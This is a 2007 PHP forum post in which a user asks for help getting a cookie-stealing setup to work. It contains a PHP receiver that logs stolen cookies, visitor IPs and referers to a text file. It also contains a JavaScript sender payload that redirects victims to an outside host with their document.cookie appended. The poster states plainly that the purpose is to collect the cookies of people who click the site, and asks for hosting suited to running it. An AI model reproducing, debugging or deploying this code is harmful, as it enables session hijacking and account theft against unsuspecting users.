cookie "collection"

Discussion in 'PHP' started by Soccerplayer1316, Apr 3, 2007.

  1. #1
    hello I was wondering if anyone could help me out with this? It is in PHP and there is a sender and receiver....the sender redirects you to the receiver php file which collects the users cookies who has clicked on the website.

    my code is for the reciever

    < ?php
    $cookie = $_GET['c'];
    $ip = getenv ('REMOTE_ADDR');
    $date=date("j F, Y, g:i a");;
    $referer=getenv ('HTTP_REFERER');
    $fp = fopen('cookies.txt', 'a');
    fwrite($fp, 'Cookie: '.$cookie.'<br>
    IP: ' .$ip. '<br /> Date and Time: '
    .$date. '<br /> Referer:
    '.$referer.'<br /><br /><br />');
    fclose($fp);
    ?>
    
    
    Code (markup):
    and my code for the sender is
    <script>
    document.location="http://robertbonit.fastspace.biz/robert/cookie.php?cookie=" + document.cookie;
    </script>
    Code (markup):
    now when i go to the cookie.txt file the cookies have not been extracted even though they exist when I do a test run.... any help?

    as well does anyone know of a good web host that is free, but will allow me to use this php code better than through the host I am using now?
     
    Soccerplayer1316, Apr 3, 2007 IP